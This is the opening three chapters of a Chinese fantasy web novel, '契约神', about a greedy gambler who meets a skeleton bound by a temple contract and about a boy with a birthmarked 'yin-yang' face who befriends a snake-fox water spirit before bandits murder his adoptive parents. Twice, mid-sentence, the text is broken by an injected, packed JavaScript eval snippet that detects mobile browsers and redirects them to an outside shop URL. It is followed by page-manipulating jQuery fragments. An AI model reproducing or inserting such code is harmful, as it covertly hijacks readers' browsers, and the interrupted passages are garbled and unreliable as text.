《契约神》 1. 第 1 章 钱三掂了掂钱袋,里面沉甸甸的都是他今晚刚从赌坊里赢得的银子。 他凑耳听着银子间碰撞发出的清脆声响,不禁喜上眉梢。 似还不过瘾,他扒开钱袋,拿出银子在月下仔细端详。 正值深秋,凄凄如水的月光洒在银子上,似覆了一层清冷刺骨的白霜。 钱三笑得咧开了嘴,将银子放入钱袋,又挑了个稍大的银子置于月下。不料月光渐渐黯淡,一抹黑云飘过,将月亮遮了起来。 “嘿!不长眼的!” 钱三咒骂几句,将银子小心收起来,扎紧钱袋。 赌坊离家甚远,若是赌运不佳,到子时钱三便会及时收手,悻悻而归。 可今日不知是走了什么运,那赌桌上的骰子他说大是大,说小是小,乐得他青筋凸起,两眼发红,一时忘了时辰。 赌桌上的人都散去,他余兴未尽又拉了几人玩起了叶子戏。就连玩叶子戏他也赢了不少,一时欣喜若狂,请了几位同玩的人吃酒。 吃完几坛酒,其余人再也撑不住了,都道回家歇息。钱三没法,只得捧着钱袋回家。 一路上还需经过一片密林。钱三酒意上涌,眼前树木似有重影。 深秋的林子里树木凋敝,地上落了一层厚厚的枯叶,人踩上去深一脚浅一脚。喝了几坛酒的钱三只觉脑袋昏昏,身子飘飘,脚似踩在棉花上。 “原来姹紫嫣红开遍,似这般都付与断井颓垣……” 钱三将赌钱时从隔壁戏院听来的戏词在嘴里哼着,这戏词从那戏子嘴里唱出来,甚是婉转悦耳,余音绕梁。 饶得周遭赌钱的汉子人声鼎沸,那戏腔却如流水在嘈杂声中缓缓流淌,不紧不慢,字字扣人心弦。 还未唱完几句,钱三胃中翻涌,晚上的吃食都从嗓子眼里冒出来。他顺手扶住一棵树,一股脑吐了出来,吐完后盯着地上出神。 深夜,树林里一片寂静,此时已是丑时。 黑云遮月,周遭的树木像是笼罩着一层黑雾,远处的树木似密集的黑影交错伫立,抬头望去,墨色的天空有亮光闪动。 一阵寒风吹过,林子里传来窸窸窣窣的声音。 钱三瞬间酒醒,悄悄蹲身躲在树后。 他屏气细听,心想怕不是赌坊里的老板见他时来运转,心生嫉恨,派人追过来谋财害命。 细听良久,林子里只有窸窸窣窣的动静却再无其它。 一滴凉意落在他扶树的手背,惊得他身子一颤,紧接着密密麻麻的雨滴落在他脸上。 原来是下雨了…… 秋雨如刀,未待他平心静气,密集的雨水挟带刺骨的寒意扎进肌肤,刺得生疼。 一道电光将天空划开个口子,滚滚雷声掠过头顶,骤雨倾盆。 钱三忙用手遮头,另一只手不忘捂紧钱袋,在他抬头的一刻,瞥见了幽深的林中有一抹暗光。 前面似有一户人家。 钱三来不及多想,快步朝那抹暗光奔去。 逐渐临近时,钱三辨出那是一座无名小庙,庙里的烛光微弱暗黄。 他径直推开庙门,刺骨的雨水淋得他浑身湿透,瑟瑟发抖,他往里扫了一眼,扯下庙里悬挂的旧幡就往身上披。 旧幡裹身,钱三身躯渐渐回温,这才开始打量四周。 庙里只有一支短烛燃烧,供桌上落了一层灰,香炉里竖着三柱香,即将燃尽。摆放供桌的那面墙挂着一副画,画上一头似虎非虎的猛兽怒目圆睁。 一道闪电劈来,那猛兽似乎眨了眨眼睛。 坐在蒲团上的钱三惊得连忙站起身,霎时一位老者竟站在他身后。 “什么人!?”钱三惊吓连连,见是一位胡子花白的老头不由得松了口气。 “这位香客深夜到访是要来请愿么?” 那老头白发苍苍,皱纹纵横,面带微笑如是说。 “不是!我是来躲雨的。”钱三复坐回蒲团,没好气地说道:“你这老头走起路来怎么都不带声响儿的?” 老者讪讪微笑:“你从何处来?” 钱三抬头瞥了眼:“管得着么你!” 老者却不恼,也端坐在蒲团上,借烛光将钱三上下打量一番,见他手里攥着个布袋,里面的东西看起来沉甸甸的。 “我说,你个老头大半夜待在这庙里做什么?”钱三看他衣裳并无被雨淋湿的痕迹,“我看你也不像是来躲雨的。” “老朽是这庙里的看护,在此住了数十年。” 钱三环顾四周,庙里的陈设皆一破败,墙上的壁画残破不堪,颜料已经脱落,看不出画的什么。高处的梁上结满了蛛网,一只蜘蛛挂在网上正吐丝结网。庙里虽弥漫着香火的味道,却难掩隐隐的霉味和尘土味。 “一间破庙有什么好看护的?我看盗贼都不惜得多看几眼。”钱三仔细看了一眼老者,悄悄将钱袋用幡布遮挡。 “庙虽破,约定在,怎能食言而肥?”老者望向屋外的闪电,继而叹了口气,“只是贱内病重,老朽又有约在身,脱不开身去见她,真是无可奈何……” “你这老头怎这般冥顽不灵?谁会劫你破庙?若真不放心,寻个人帮你看几眼不就好?” “对呀,我怎得没想到?”老者一脸醍醐灌顶的模样,继而沉思一番,“明日我寻个人,许他二十两银帮衬着看守三日……” “多少?二十两!?”钱三不可置信地瞪大眼睛,心里想着这老头怕不是得了失心疯,却未将此话说出。 “你有二十两银么?”钱三看他。 “有是有,待明日寻个人,需得先拿出十两来给他作个定金,事成之后再以十两谢之。” “老爷子,你无需待明日,我帮你看守三日怎么样?也省了力气。” “好是好,只怕委屈了你……”老者面露难色。 “哪里来的委屈?你我缘分一场,有我在这庙里守着,无人敢来侵扰!” 老者点了点头:“不知阁下高姓大名?” “在下姓钱,在家排行老三,唤个钱三,你去钱村一问便知。” “好姓,阁下一看便是福相,交于你老朽甚是放心。”老者顿了顿,“只是老朽临走前,需得交代清楚几件事。” “你说。”钱三喜形于色。 “这三日需每日打扫庙里,后院有棵古槐树,地上的落叶也需打扫,只是……” 老者将目光投向钱三,语气神秘却郑重地继续说道:“你只需打扫,却不得靠近那棵槐树。” “小事一桩,你大可放心!”钱三拍了拍胸脯。 老者点头会意,去后院房里取了十两银子放于钱三手心。 “这是定金,三日后老朽必带剩下的十两银子来谢你。” 二人谈好此事,各自心里都满意得很。 夜深雨寒,老者劝钱三去自己的房里歇息,可钱三说什么也不肯,只找了堆干草作床,旧幡作被,临着庙门,将银两抱在怀里,闭眼睡了。 第二日,下了一夜的雨终歇止,旭日东升,晴空万里。日光透过庙门照射在钱三的脸上,逐渐滚烫。 钱三睁开眼睛,昨夜的酒意让他睡得甚是昏沉。他醒来仔细数了银两,不多不少,这才放心。 肚里空虚,钱三起身去寻米缸,却发现老者早已出门,庙里的香炉竖着几根高香,烟雾缭绕。 吃完便饭,钱三拎个木水桶去庙前树下的一口水井里打水。 木桶入井,趁着桶吃水的功夫,钱三环顾四周。庙周围一片荒芜,树木野草丛生,不见人烟。 一抹浓重的红色翩翩映入眼帘,钱三注意到远处草丛里似有人影,披着红布一动不动。烈日炎炎,那红布在日光的照耀下甚是晃眼。 钱三将吃满了水的木桶提出来小心放在脚边,捡了块石头悄悄靠近那人影。 风吹草地,红布飘扬,那人影却定住不动。 “谁站在那里?出来!”钱三壮着胆子喊了一句,可人影仍岿然不动。 逐渐走近看见那人的脚时,钱三才发现这是个盖着红布的塑像。边上还有一尊童女塑像,未被红布遮盖,捧着一颗圆珠,嘴角嫣红似血,定身静静看着远处的河流,若有所思的模样栩栩如生。 他顺着童女沉思的方向朝河流看去,河边也有块红布,红布似盖着一位盘坐的女子。透过薄薄的红布,能看出此女子坐姿端庄优美。钱三满腹狐疑,抬脚朝那女子走去。 离那女子还有十丈远时,她身下的土壤突然松动,整个人盘坐着被水冲进河里,一动不动,漂出去没多远便渐渐沉入水底,河面上只剩下一块红布顺流而去。 “娘的,也是尊塑像!”钱三愤然将石块扔进河里,转身朝井走去。 在庙里待了半晌,也不见有香客,钱三索性关上庙门,提上银子去赌坊赌钱。 一进赌坊,赌坊里的伙计就注意到了钱三。 “呦,钱三来了!近日鸿运当头呀!今儿个玩什么? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14611548|156119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”赌坊伙计满脸堆笑。 钱三听了这话悠然自得,满面红光,一面挤进赌钱的人群,一面笑着说:“老样子,先玩骰子。” “好嘞!您玩着!” 几局下来,钱三虽赢了点小钱,却不觉过瘾,逐渐将筹码加大。 可是今日的运气却不同昨日,输了的时候,钱三总觉得下一局自己能扳回来,借着昨夜的运势,今日总不会差到哪里去。 可谁曾想,那骰子似乎在和他作对,他越想赢,骰子上的点数越不顺他的意,天色渐暗,他的银子都输光了。 越想越不甘心,他摸了摸钱袋,拿出剩下的昨夜庙里老头给的十两银子,一股脑都押在了赌桌上,全神贯注地盯着摇骰人的手,心里默念:小、小…… 摇骰人拨开骰盅,中气十足地喊道:“是大!” 钱三大失所望,站在赌桌前捶胸顿足,唉声叹气,却也无可奈何,昨夜沉甸甸的钱袋此时空得能被风吹起,只剩下几个铜板。 他垂头丧气走出赌坊,还未到子时就已输得一贫如洗。 天空灰暗,已是傍晚,钱三迈着沉重的步子回到庙里。 一进庙,便躺在草堆上,仔细回想着今日赌桌上的情景。 要想再赢回来,就得有本钱。 这句话在钱三的脑海里徘徊着,可是要是回家跟哥哥借,他们知道了自己在赌博,那肯定是借不成的。 钱三翻了个身,蓦地想到昨夜看庙的老头从后院房里拿钱的身影,他起身去了后院,翻箱倒柜竟连一个铜板也没找到。 一个老头出二十两银子雇人守破庙,钱三不知是老头疯了,还是雇老头的人疯了。 这座破庙竟如此重要?难不成是雇主发了一笔见不得人的横财放在这里掩人耳目,让这老头守着? “不得靠近那棵槐树……” 钱三想起老头临走前的叮嘱,心里不屑一顾,数十年了,那老头竟如此迂腐,都不曾想过他的雇主让他守庙的真正原因。这么多年雇主也没回来,怕是已经死在了外面。 心里想着,钱三已经踱步在院中那棵槐树下。 这棵槐树看起来有不少年头,深秋时节再加上昨夜骤雨,槐树上光秃秃的,树叶落了一地。 他蹲下身,将落叶撇开,露出湿润的土壤,继而起身在一间屋子拿了把铁锄头。 秋月如珪,月华如练。清冷的月光穿过槐树洒在院里,形成蜿蜒曲折的诡异树影,一支烛火立于地上,不时有寒风吹起落叶,在光影中旋转飞舞。 钱三绕着槐树挖了两个坑都一无所获,他从坑里爬出,挑了个靠近槐树的地方又开始挖土。 一阵风吹过,树影婆娑,钱三看着地上的树影甚是诡异,明明光秃的树枝却缀满了树叶,这些树叶宽大异常,在风中抖动着,直直地立在树枝上。 钱三停止了挖土,缓缓抬头望去,这一望让他全身汗毛竖立,心惊胆跳───槐树上密密麻麻站着一群乌鸦! 在他抬头的那一刻,树上的乌鸦也都盯着他。 钱三感觉腿上一阵发软,铁锄头翻倒在地,发出的声响惊动了树上的乌鸦。 它们一齐扇动翅膀,发出粗劣的嘶哑声,或盘旋、或俯冲,成群掠过,遮天蔽月。 过了不知多久,乌鸦飞尽,空中还飘着些许羽毛,地上的蜡烛不知何时被扑灭。 钱三惊魂未定地坐在地上,手撑在土坑边。 倏然间,一只手从坑内伸出抓住了钱三的胳膊,钱三惊得跳起大叫。 他拼命要挣开那只手,却感觉那只手干枯如柴,借月光看去,竟是森森白骨! 钱三受到惊吓的尖叫在院子里回荡,他站起身使劲拉拽自己的胳膊,那白骨手忽地松开,钱三失去重心,猛然后倒,头重重地撞在槐树枝上,鲜血淋漓。 他倒在地上,头后疼痛难忍,眼冒金星,眼前的一切模糊不清。 但在这片模糊中,钱三隐约看到土坑里的白骨缓缓坐起身,他想支起身子逃走,却只觉浑身瘫软。 那白骨晃着头盯着他,颌骨上下抖动,竟发出粗重的声音。 “……凡人……怎么尽是这种无耻之徒……”它歪着头,死死地盯住他。 “……有渝此约……明神殛之……”说完它猛然站起身,扑向钱三。 钱三用尽全身力气站起,躲过白骨,连滚带爬冲出庙宇。 风声阵阵,他的惊叫声尖锐刺耳,在寂静的夜空中回荡…… 2. 第 2 章 北风凛冽,雪花飘扬,大地静悄悄白茫茫。 一片六瓣雪花闪烁着晶莹剔透的光芒随风摇曳,穿过空中雪候鸟挥动的羽翼,飞过静静伫立的灰褐色树枝,擦过暗香疏影、柔软细腻的红梅花瓣,无声地落在一处农家小院的雪地上。 一双粗糙有力、布满老茧的男子的手将它连同万千落于小院的雪花捧起,放进烧水壶中。待水壶塞满雪花,他的手也冻得通红。 男子往手里吐了口热气搓了几下,盖上烧水壶的盖子,往屋内走去,将烧水壶置于火上。 他蹲下身往火里添了几根木柴,又夹了块煤炭朝卧房走去。 卧房里传来女子的咳嗽声,那女子颈上围着个兽皮围脖儿,正坐在床上缝制衣裳。 “玉娘,天冷快歇歇,病了就不值当了。”男子将煤炭放进火炉里,径直走向女子。 “周郎,快来暖暖。”女子嫣然一笑,放下手中的衣裳,一双热手包住男子的冷手。 “汤婆子还暖么?”男子把女子的手塞进被子里,掀开被角摸了摸,“我采了些雪在火上烧着,滚了就来换。” 女子含笑盈盈:“苦了你了。” “这是哪里话?你好生歇着我就不苦了。” 男子粗糙的手轻抚了女子的脸颊,将女子刚刚缝制的衣裳收进柜里。女子顺从躺下,盖好被子合上了眼。 火上滚水沸腾,男子忙将水壶取下,把热水灌进一个锡制扁壶里,还未灌满,卧房里传来玉娘的呼唤。 “周郎,周郎……” “何事?汤婆子换好了。” 玉娘似乎没听见,仍唤着周郎。男子放下水壶,捧着汤婆子快步进入卧房。 “周郎,你听,可有孩童啼哭?”玉娘坐在床上静静听着。 男子诧然:“玉娘……我知道你一直想要个孩子……” 玉娘将手指放在嘴边做了个噤声的手势:“莫作声,你听。” 男子默声,仔细听着,竟真听到有微弱孩童啼哭的声音。 “真是奇事!大雪天怎有婴孩啼哭?” 玉娘不顾还在细听的男子,掀被起身,穿着单袄就往门外走去。 “玉娘!”男子放下汤婆子,抓了件厚披袄追上去。 玉娘在院内来回走着,又出了院门往围墙外行去。 男子疾步赶上,见玉娘蹲在围墙外的一处角落里,裙角湿透,瑟瑟寒风吹拂着她的发丝。 “玉娘,快披上……”男子几步上前将衣裳披在玉娘肩上,眼角余光瞥到脚下雪地上一个箩筐,箩筐里铺了层厚袄,袄里躺着一个孩童。 看到那孩童的脸时,男子心中一惊,飞舞的雪花似沁入心里,引起一阵寒意。 那张小小的脸上布满了半张脸的青黑胎记,活脱脱一张阴阳脸。 “玉娘……这孩子怎生得如此可怖……”男子看向玉娘,却看到一张布满温柔笑意的脸。 “我倒不觉得。”玉娘抱起袄中的孩童,眼神不离道:“这孩子的眼眸如雪水般清澈,见了我却不怕……” “是不是有人将孩子忘在这里了?”男子连忙说道。 “怎会有人忘了自己的亲骨肉?肯定是家中艰难,养不下去丢在这里的。” “这张脸……怕是会带来不详……” “方礼,你我至今未有子嗣,不如我们收养了他罢。” 周方礼看着玉娘慈爱的面容,又看了眼袄中的阴阳脸男婴,内心焦灼踌躇。 “你说他不详,我偏要起个吉利的名字。”玉娘低眉沉思一番,“既是于瑞雪中相遇,就叫他周瑞罢。” 玉娘说完将周瑞紧紧抱在怀里,周方礼在一旁犹豫不决,却又张不开口,只得抱紧玉娘,不让寒风钻进她的衣袍…… 冬去春来,暑消寒侵。屋檐下的冰柱融了又凝,凝了又化,周而复始,循环往复。 十二年后,围墙外嘤嘤啼哭的婴儿已经长大,可个头长得缓慢。 他裹着头巾遮了一半的胎记,蹲在地上逗蚂蚁。 “周瑞!” 周方礼于深秋日暮砍柴回家,将柴火放在地上,唤着远处的周瑞。 周瑞裹在头巾里小小的头抬起来,见是父亲,连忙跑了过去。 “爹爹,您回来了。”周瑞仰头,睁着清澈的眼睛看着周方礼。 “你出门一定要系紧头巾,不然隔壁的李婶又要来说道了。”周方礼躬身拉紧周瑞的头巾,瞥见小小的脸庞被头巾捂得通红。 “唔。”周瑞默默点头,眸子里的亮光逐渐黯淡。 “去玩罢,天黑前回来。”周方礼将柴火背起往灶间行去。 周瑞跑回蚂蚁搬家的地方继续蹲下来观察。 “喂!”一个粗鲁的声音在他身后响起。 “丑八怪!你戴上头巾也是个丑八怪!我娘说你是妖怪!”说完那男孩叉起腰,一脸神气。 他身边的几个伙伴凑近他问道:“他真的长着一张阴阳脸么?” “真的!我第一次见还被吓了一跳呢!不过我才不怕!” 周瑞没有理会他们,爹爹曾让他不要去招惹李婶家的儿子李千。他看着蚂蚁搬完家后,起身准备回家。 忽地,身后传来急促的脚步声,下一瞬他的头巾被强行揭开。 “快看!他的阴阳脸!”李千得意地甩动手里的头巾,并示意周遭的伙伴。 “真的!真吓人!” “他不会真的是妖怪罢?” “……” “还给我!”周瑞捂住左边脸,去抢自己的头巾。可是李千的个头要高出他不少,他拼命抢也抢不到。 李千拿着头巾朝一个方向跑去,周瑞紧随其后。 “快点还给我!” 李千的跟班围着周瑞奔跑,嘴里时不时喊着“妖怪”,并往他身上扔石头。 左拐右拐了好一会儿,李千止步于一片湖的岸边。 “你要是想拿,就过来呀!”李千晃动手里的头巾。 周瑞快跑几步去拿头巾,不料李千一挥手,将头巾扔进了湖里。 只听“扑通”一声,周瑞跳进了湖里。 “杀死了你这个妖怪,咱们就积了功德啦!”李千与他的跟班站在岸边大声笑着。 跳入水里的周瑞却听不清他们的笑声,耳边只有水流拍打的声音。 他的脚失去了支撑,双手在水面上胡乱拍着,却找不到一件可以支撑的东西,此时的湖水像是一个无底的深渊拖拽着他。 越想逃离越是窒息,湖水灌入口鼻,令他止不住地咳嗽。 看着激起的水波中李千一众人离去的身影,周瑞想要发出声音,可是一张口,湖水就往嘴里灌。 他感到身体逐渐下沉,浑身无力,只剩下头部在水中上下起伏。 正值落日时分,日薄西山,落日熔金。日光斜斜地掠过湖水,湖面上闪烁着耀眼的金光。周瑞望向天边,火红的晚霞似有一股血腥味…… 在一片细碎金光中,有一抹翡翠光泽暗中游动。 水中浮现蜿蜒游弋的轻盈身姿,翡翠绿拨动着金光,留下一道淡淡的涟漪。 周瑞忽觉一条细长柔软的东西缠在自己的腰上,他下意识拼命揪住那无名之物,像是抓住了救命稻草。 腰上柔软的东西似乎疼得轻轻颤动,却未松开,一股强大的力量拉扯着周瑞的腰,往岸边拖去…… 周方礼与玉娘摆上菜肴,却不见周瑞的身影。 正欲探身在屋外的黑夜里寻他时,远处传来一阵喧闹声。 “周方礼!这回你可得给我们一个公道!” 那人走近被屋里的烛光照亮时,周方礼才看清是李家娘子,只见她满面怒容地推着李千,李千的脸上青了一块。 “李家娘子,这是怎么了?”玉娘急忙上前,与李家娘子的目光对上,又看了眼李千的脸。 “还好意思问怎么了,你问问你家周瑞都做了什么!” “瑞儿……”玉娘被眼前一幕弄得不知所措,“他还没回来……” “上次我家小千的确对他说了些不好的话,我回去也是好好地说了他一通,今日他去找周瑞,说是聊表歉意,将误会解开。没成想还未说几句,你家周瑞就打了我家小千一拳,你看看……” 李家娘子将李千的脸对准烛火,烛火下脸上一片青紫清晰可见。李千被母亲拉扯着面皮疼痛难忍,一时呻吟起来。 “这回你们怎么说?我早就说那孩子阴阳脸长相,怕是邪祟上身。要不就是做爹娘的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14611549|156119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没教好,就算是上不了私塾,可你们做爹娘的连基本的礼义廉耻都不教与他么?” 周方礼欲争辩却被玉娘拉住。 “小千,你可知瑞儿在何处?”玉娘语气温和却难掩焦急。 “许是他做了坏事不敢面对你们,像是往湖边方向跑了。我听说那湖里有妖怪,叫水狐,长着蛇的尾巴……” “娘!” 屋外一声呼唤打断了李千,众人循声一致将目光投向屋外。 周瑞浑身湿透地站在屋外,头发条条缕缕地挂在额上,身上的水珠随着他身体的颤动不断滴落在地上。 “瑞儿!”玉娘疾步抱住颤抖的周瑞,怀中的躯体冰冷至极。 “他现在好端端站在这里,你们总要给我一个说法!我家小千的脸可是被他打坏了,不知要花多少银两去治呢!” “李家娘子!不如这样,你家近七日烧火用的木柴都不收银两,我亲自送与你。明日我再去药铺买些活血化瘀的药膏回来,你看如何?”周方礼躬身好言好语道。 “既然如此,那我就不与你计较了。但这孩子你们需好好教养,否则日后还不知会惹出什么麻烦来!”李家娘子拉着李千往屋外走,又扭头丢了句:“记得明日早些去药铺!” 经过周瑞时,李千目光有些疑惑地斜睨了他一眼,继而又装作愤愤不平的模样,喉咙里哼了一声,才与母亲离去。 目送李家母子离去后,玉娘忿忿道:“你都不曾问一句就确定是瑞儿所为!” “可是李千年纪尚小,怎会做戏来诬陷他?” 玉娘无奈地摇摇头:“你终究还是将瑞儿视作外人!这么多年的养育也暖不化你这座冰山么?” 周方礼欲辩解,玉娘却径直拉着周瑞去灶间烤火取暖。 灶间,灶膛里的木柴熊熊燃烧,不时发出“噼啪”的声响,火光在人脸上肆意闪烁。 周瑞坐在火前,眼角的泪水在火光的照耀下散发着晶莹的光芒。 “娘,我没有打他。” 玉娘添了几根木柴,沉默片刻后道:“我知道。是他推你入水的么?” “不是。”周瑞摇摇头,“他抢了我的头巾扔进水里,我自己跳的水。” “扔了就扔了,你跳水寻它做甚!?”玉娘直直地盯着周瑞,眼中泪光闪动。 “爹爹说了,让我戴好头巾,不得吓到别人……” 听了这话玉娘潸然泪下,她悄悄抹去泪珠,将周瑞紧紧抱在怀里。 抱了好半晌,玉娘乍然想起了什么,松开周瑞问道:“那你是怎么上的岸?” 周瑞垂眸沉思了一番,才缓缓道:“我抓住了一根漂浮的木头,等它被湖水推向岸边,这才得救。” 玉娘颇心惊地点了点头道:“你答应为娘,不管发生什么,一定要好好活着。” “即使是头巾被抢了也不管么?” “傻孩子,一切哪有你的命重要!”玉娘复将周瑞抱在怀里,他小小的身躯渐渐回暖…… 深夜,虫鸣唧唧切切,夜凉如水,皓月当空,瑟瑟秋风吹动树叶发出飒飒的声音。 周瑞借着月光披上外套悄悄出门,他轻踩月霜,穿过树木丛林,来到傍晚时溺水的湖边。 偌大的湖面水平如镜,夜风掠过,乱了月影。 湖边的芦苇在微风中发出沙沙的声音,一片梧桐叶从树上落下,砸在地上,发出的巨大声响让周瑞心中一紧。 “你在么?”周瑞壮着胆子在岸边轻声喊道,可回应他的只有风声。 等了半晌,湖面也无任何动静。 “不知道你听不听得见,总之我是来谢你的。谢谢你救了我,虽然……你救我的时候我不小心扯下了你一片鳞……真是对不起……” 周瑞从衣襟里拿出一个物件,那物件绿如翡翠,润如玉石,形似蛇鳞却比一般的蛇鳞大许多倍。 见仍无任何回应,周瑞失望地转身,可还没行几步,身后传来哗哗的水声。 “别回头。”一个轻柔似水的女子声音在身后响起,“我怕你会吓得魂飞魄散。” “我不怕,向来只有别人怕我。”周瑞蓦地转身。 纵然心中做好了准备,可看到月下的身影时,周瑞心里还是不由得一颤…… 3. 第 3 章 翡翠色的蛇尾在水中轻轻摆动,月光下,鳞片闪着幽幽的碧绿光芒。四只狐爪长在蛇身,狐首一双锐利的眼睛正盯着他。 “扑通”一声,周瑞腿软坐在地上,面容呆滞地看着面前的身影。 “还说不怕。”狐首发出年轻女子银铃般的声音。 “不怕!”周瑞朗声道,“你是我的恩人,有什么好怕的?” “你还知道我是你的恩人,今日抓得我痛死了。”她舔了舔自己的伤口抱怨道。 “对……对不起,我不是故意的。”周瑞伸出手中的鳞片,满怀歉意地说道:“还给你。” “现在它对我来说已经没有任何用处了。” “那……好罢。”周瑞犹豫半晌,将鳞片收入衣襟。 “我该怎么称呼你?” “你就唤我荷玉人罢!” “好!我叫周瑞!” “回去罢,夜寒。”荷玉人扭动蛇尾欲往水中行去。 “等等!我以后还能见到你么?” “若是你对遇见我之事三缄其口,自能再次相见。”说完她浸入水中,直到最后一抹碧绿消失,留下淡淡涟漪。 周瑞攥紧怀中的鳞片,凝望着荷玉人离去的背影,直至最后一圈涟漪散去。 接连几日的夜晚他都悄悄溜出家门,来到湖边。像是在等荷玉人出现,却并不放声呼唤。他折下芦苇叶在湖面轻轻划过,时不时挑起清波,然而荷玉人仍未露面。 有一晚他照例坐在湖边,借月光凑近湖面仔细端详自己的脸。右面脸轮廓清晰可见,左面脸却与黑夜融为一体。 倏忽间,他发现面前的那片湖底似乎有东西渐渐浮上来,越来越近。突然,那东西直冲水面,溅起巨大水花,淋了周瑞一脸。 周瑞忙用衣服抹干脸,才看清是一条翠绿的蛇尾,顺着蛇尾望去,荷玉人正坐在岸边盯着他暗暗发笑。 “你是在等我么?” 周瑞点了点头。 “你……没有朋友么?”荷玉人慵懒地躺在湖岸,蛇尾胡乱摆放,湖水不停打湿她的鳞片。 “没有……”周瑞缓缓低下头,继而猛地抬起头,眼冒金光道:“我想和你做朋友!” 空气凝滞了半晌,荷玉人才开口问道:“为什么?你们凡人看到我不都是唯恐避之不及么?还要唤我为‘妖怪’,怎么唯独你要和我做朋友?” “他们唤你‘妖怪’,不过是怕你罢了,他们还怕我呢!” “为何怕你?” “因为……因为我的脸。”周瑞抬头看着荷玉人,向她展示自己的脸。 荷玉人迈着狐爪逐渐靠近,她伸出一只爪子抵着周瑞的下巴把他的脸递近自己的眼睛。 一双人畜无害、清澈至极的眼眸盯着她,而她那锐利圆润的眼珠则在他的脸上来回打量。 “不过是长得别致些罢了。”荷玉人温柔松开周瑞的下巴。 “可是他们说我是邪祟……” “正如你所说,他们唤我‘妖怪’是因为怕我,那么他们说你‘邪祟’也是因为怕你。” 周瑞若有所思地点了点头。 “回去罢,我不能离水太久,你也不必夜夜在此候我,我近日需闭关修炼。” 说完,荷玉人钻进水里,消失在碧波中。 周瑞还想说些什么,却早已不见她的身影。 夜晚,周瑞躺在床上回想荷玉人所说的话,陷入沉思。 如果长了一张阴阳脸能让那些人惧怕,那这张阴阳脸也没什么不好的。 想着想着,他突然想起荷玉人还未答应要和自己做朋友,不由得轻叹了口气,在一阵懊悔中渐渐进入梦乡。 晨光熹微,外间薄雾笼罩,一阵婉转的鸟叫声吵醒周瑞。他披上衣服来到屋外的桂花树下,此时桂花开得正盛,散发着清幽的香气。 这棵桂花树高大茂盛,树枝探到了屋檐上,因为树叶茂密看不清树枝里是否有鸟窝,周瑞轻手轻脚爬上了树。 爬过围墙的高度时,周瑞瞥见屋外远处芦苇晃动,想是里面有水鸟便未在意。目光仍在树枝间搜寻,果然让他找到一个鸟窝,窝里还有几颗鸟蛋。 周瑞把鸟蛋揣进怀里,因连日夜晚偷溜出门,此时甚感疲乏,他随意挑了个枝干伴着桂花幽香躺下睡着了。 不知睡了多久,一个从围墙落下的脚步声惊醒周瑞,接着又是几个沉闷的脚步声。 “谁?是你么方礼?”周瑞听见娘亲在屋内唤着,接着却传来她的惊吓声。 周瑞拨开树枝,院子里有几个戴着面巾的大汉正四处搜寻着什么,他们衣衫破旧,手持大刀。因桂花树枝叶茂密,并未发现周瑞。 “把你们家值钱的物件都拿出来!”一个粗犷凶狠的声音从屋里传来。 趁着院里贼寇低头翻找的空儿,周瑞悄悄垫着树枝爬上屋顶,他趴在屋顶上,掀开一块瓦片。屋内的情形尽收眼底,却让他心惊肉跳。 一个贼寇将刀架在玉娘的脖子上,她头发散乱,头上的首饰皆被贼寇抢了去。 “还有什么?都交出来!”贼寇将刀抵近威胁道,与此同时另一名贼寇从柜子里翻出一支簪子递给架刀的贼寇。 “这个簪子你不能拿走!”玉娘突然厉声喊道,她上前要夺,不料贼寇一脚将她踹在地上。 玉娘仍未放弃,在地上挣扎着朝那贼寇爬去。方才架刀的贼寇此时满意地看了眼簪子,将它塞进衣襟。 随后他拎着大刀,缓步朝玉娘走去…… “玉娘!”门外传来熟悉的声音。 周方礼驮柴回家,一进门却看到玉娘趴在地上,家中多了好几个持刀的贼寇。 站在玉娘身边的贼寇抬起大刀,直直地扎进玉娘的胸口,顿时鲜血四溅。贼寇将刀拔出,玉娘便浑身瘫软地趴在地上。 周方礼快步跑到玉娘身边,却是为时已晚。他抱起玉娘,看着她胸前涌出的血液,心如刀割,哭声凄厉颤抖。 他看向围过来的贼寇,猛然起身,抽出后背的砍刀,径直砍向一名贼寇的脖子。 那贼寇未反应过来,欲抬刀抵挡却已来不及,脖子上被砍出一道口子,鲜血横流,没过一会便躺在地上断了气。 刚刚架刀的贼寇头子趁周方礼手挥砍刀,露出腹部的的空当儿,抬刀扎进他的胸腔。 周方礼顿时失去了力气,手里的刀滑落,他疼痛难忍,双手握住那把刺进胸口的刀。 那贼寇一脚踹在他身上,借力将刀拔出,周方礼仰面倒地。 趴在屋顶目睹全过程的周瑞吓得全身僵硬,却不敢哭出声来。 玉娘趴在地上一动不动,血液穿透她的衣裳在地面蔓延开来。周瑞侧目看向周方礼,立时心中一紧。 周方礼仰面躺着,一双含泪的眼睛死死地盯住他,盯在屋顶那张阴阳脸上。 贼寇拿完所有值钱的物件,出门朝着下一户人家行去。 周瑞沿原路下了屋顶,只觉脑袋昏昏沉沉。桂花香和浓烈的血腥味混在一起,让他胃里一阵翻腾,忍不住干呕。 他双腿发软,连滚带爬走到玉娘身边,却不敢翻开她的脸查探。 “娘……”泪水划过脸颊,滴进血里。 昨夜还与他说笑的母亲,此时却成了一具无声无息的躯体。 悲痛如潮水般涌入,分成无数痛苦的支流,在他的体内奔腾咆哮,四散蔓延,顷刻间将他内心的堤坝冲垮,充斥每一寸肌肤。 